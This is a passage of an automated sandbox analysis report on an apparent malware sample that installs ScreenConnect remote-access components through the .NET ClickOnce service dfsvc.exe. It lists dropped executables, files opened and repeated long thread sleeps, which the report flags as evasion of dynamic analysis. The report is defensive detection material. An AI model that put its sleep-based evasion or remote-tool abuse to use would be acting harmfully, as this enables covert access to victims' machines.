Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Memory allocated: 30A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Memory allocated: 50A0000 memory reserve \| memory write watch	Jump to behavior

Contains long sleeps (>= 3 min)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599874	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599762	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599655	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599497	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599389	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599280	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599171	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599053	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598921	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598812	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598563	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598382	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598265	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597938	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597697	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597593	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597473	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597233	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597119	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597015	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596796	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596687	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596577	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596468	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596359	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596249	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596139	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596031	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595921	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595809	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595683	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595576	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595468	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595351	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595007	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594671	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594233	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594124	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594015	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 593906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 593796	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Window / User API: threadDelayed 2223			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Window / User API: threadDelayed 7455			Jump to behavior

Found dropped PE file which has not been started or loaded

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\J8DJW80Y.32E\O51HK9NW.DQA\ScreenConnect.WindowsBackstageShell.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\J8DJW80Y.32E\O51HK9NW.DQA\ScreenConnect.Windows.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\J8DJW80Y.32E\O51HK9NW.DQA\ScreenConnect.ClientService.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre...exe_25b0fbb6ef7eb094_0018.0004_none_9837ada041d46b8d\ScreenConnect.WindowsBackstageShell.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\J8DJW80Y.32E\O51HK9NW.DQA\ScreenConnect.WindowsFileManager.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..ient_4b14c015c87c1ad8_0018.0004_none_e9b66cfe0ceec305\ScreenConnect.Client.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..core_4b14c015c87c1ad8_0018.0004_none_53a10f2bfd9f6d01\ScreenConnect.Core.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..dows_4b14c015c87c1ad8_0018.0004_none_5818e70d39ed8031\ScreenConnect.Windows.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\J8DJW80Y.32E\O51HK9NW.DQA\ScreenConnect.Client.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre...exe_25b0fbb6ef7eb094_0018.0004_none_9837ada041d46b8d\ScreenConnect.WindowsFileManager.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\J8DJW80Y.32E\O51HK9NW.DQA\ScreenConnect.Core.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..vice_4b14c015c87c1ad8_0018.0004_none_04f4a774935ed06c\ScreenConnect.ClientService.dll	Jump to dropped file

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe TID: 7116	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -27670116110564310s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -599874s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -599762s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -599655s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -599497s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -599389s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -599280s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -599171s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -599053s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -598921s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -598812s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -598563s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -598382s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -598265s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -598156s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -597938s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -597697s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -597593s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -597473s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -597343s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -597233s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -597119s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -597015s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -596906s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -596796s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -596687s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -596577s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -596468s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -596359s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -596249s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -596139s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -596031s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -595921s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -595809s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -595683s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -595576s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -595468s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -595351s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -595156s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -595007s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -594890s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -594781s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -594671s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -594562s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -594453s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -594343s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -594233s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -594124s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -594015s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -593906s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 6180	Thread sleep time: -593796s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe TID: 6952	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe TID: 6876	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe TID: 7136	Thread sleep count: 204 > 30	Jump to behavior

Sample execution stops while process was sleeping (likely an evasion)

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe

Code function: 0_2_003A4B9B FindFirstFileExA,

0_2_003A4B9B

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.11988.23512.exe	Thread delayed: delay time: 40000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599874	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599762	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599655	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599497	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599389	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599280	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599171	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599053	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598921	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598812	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598563	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598382	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598265	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597938	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597697	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597593	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597473	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597233	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597119	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597015	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596796	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596687	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596577	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596468	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596359	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596249	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596139	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596031	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595921	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595809	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595683	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595576	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595468	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595351	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595007	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594671	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594233	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594124	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594015	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 593906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 593796	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.ClientService.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\Local\Apps\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\DGXVV1KR.NBQ\A4E9ZACA.Q12\scre..tion_25b0fbb6ef7eb094_0018.0004_ad8ad592b5337ff5\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
